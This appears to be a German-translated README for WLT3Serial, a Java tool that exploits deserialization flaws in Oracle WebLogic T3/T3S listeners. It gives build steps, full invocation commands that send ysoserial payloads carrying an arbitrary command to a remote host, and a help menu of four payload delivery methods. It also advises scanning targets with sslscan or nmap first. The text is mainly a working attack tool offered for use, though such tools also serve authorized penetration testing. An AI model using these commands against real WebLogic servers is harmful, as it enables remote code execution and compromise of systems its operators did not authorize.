
Nativer, Java-basierter Deserialisierungs-Exploit für WebLogic T3 (und T3S) Listener.
Nativer Java-basierter Deserialisierungs-Exploit für WebLogic T3- (und T3S-) Listener (wie HIER beschrieben). Erfordert die Drittanbieter-Abhängigkeiten ysoserial und wlthint3client.
Erfordert Oracle Java 7 oder 8. Wurde mit keinem anderen Java-Anbieter (wie OpenJDK oder IBM JRE) getestet, daher kann ich keine Unterstützung für diese garantieren. Kann wahrscheinlich mit Java 9 oder 10 erstellt werden, aber ich gebe keine Garantie für die Unterstützung.
WLT3Serial wird mit dem Build-Automatisierungssystem Gradle erstellt. Gradle 4 sollte zum Bauen verwendet werden, obwohl andere Versionen teilweise getestet wurden (siehe Abschnitt Entwicklung).
Abhängigkeiten von Drittanbietern:
Vorgehensweise:
git clone https://github.com/Bort-Millipede/WLT3Serial.gitgradle clean preparegradle build -x testErfordert Oracle Java 7 oder 8. Wurde mit keinem anderen Java-Anbieter (wie OpenJDK oder IBM JRE) getestet, daher kann ich keine Unterstützung für diese garantieren. Kann wahrscheinlich mit Java 9 oder 10 verwendet werden, aber ich gebe keine Garantie für die Unterstützung.
Bei Verwendung der Property- (Standard), Bind- oder WLBind-Exploit-Methoden sollte WLT3Serial wie folgt ausgeführt werden (beachten Sie den Wert des java '-cp' Parameters):
java -cp /path/to/ysoserial.jar:/path/to/wlthint3client.jar:/path/to/WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\wlthint3client.jar;\path\to\WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDBei Verwendung der CustomClass-Exploit-Methode sollte WLT3Serial wie folgt ausgeführt werden (beachten Sie den Wert des java '-cp' Parameters):
java -cp /path/to/ysoserial.jar:/path/to/WLT3Serial-[VERSION].jar:/path/to/wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\WLT3Serial-[VERSION].jar;\path\to\wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDNachfolgend die Ausgabe des integrierten Hilfemenüs:
Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD
Options:
--help print usage (you're lookin at it)
--verbose Verbose output (full thrown exception output; Disabled by default)
--method=EXPLOIT_METHOD Exploit Method for delivering generated ysoserial payload
Exploit Methods:
Property Send ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit)
Bind Send ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
WLBind Send ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
CustomClass Send ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py)
--t3s[=PROTOCOL] Use T3S (transport-encrypted) connection (Disabled by default)
Protocols:
TLSv1.2
TLSv1.1
TLSv1 (Default)
SSLv3
SSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation)
Available Payload Types (WebLogic is usually vulnerable to "CommonsCollectionsX" and "JRMPClientX" types):
(available payloads listed here)
Die Property-, Bind- und WLBind-Methoden sind alle sehr ähnlich. Dies so sehr, dass, wenn ein Zielsystem mit keiner dieser Methoden ausgenutzt werden kann, es wahrscheinlich auch mit keiner von ihnen ausgenutzt werden kann. Die CustomClass-Methode unterscheidet sich vollständig von den anderen Methoden.
Es wird empfohlen, dass der Benutzer einen Scan des Zieldienstes mit sslscan oder dem nmap ssl-enum-ciphers script durchführt, um herauszufinden, welche Protokolle unterstützt werden. Auf diese Weise kann der Benutzer die Option --t3s bei der Ausführung von WLT3Serial optimieren.
In dem Versuch, die JavaUnserializeExploits weblogic.py und loubia Exploits zu verbessern, wurde WLT3Serial in Java entwickelt, wobei die folgenden Ressourcen für die Verbindung zu WebLogic T3/T3S-Diensten verwendet wurden:
Der Schwerpunkt lag auf der nativen Handhabung von T3-Verbindungen in Java sowie auf einer ordnungsgemäßen Fehlerbehandlung, um hilfreiche Befehlsausgaben für den Benutzer bereitzustellen.
WLT3Serial wurde mit den folgenden Softwareversionen entwickelt:
Live-Tests während der Entwicklung wurden gegen die folgenden Versionen von WebLogic Server durchgeführt:
Die Entwickler stellen die Software kostenlos ohne Gewährleistung zur Verfügung und übernehmen keine Verantwortung für Schäden, die durch die Nutzung der Software an Systemen entstehen. Es liegt in der Verantwortung des Benutzers, bei der Nutzung der Software alle lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten.
(C) 2017, 2018 Jeffrey Cap (Bort_Millipede)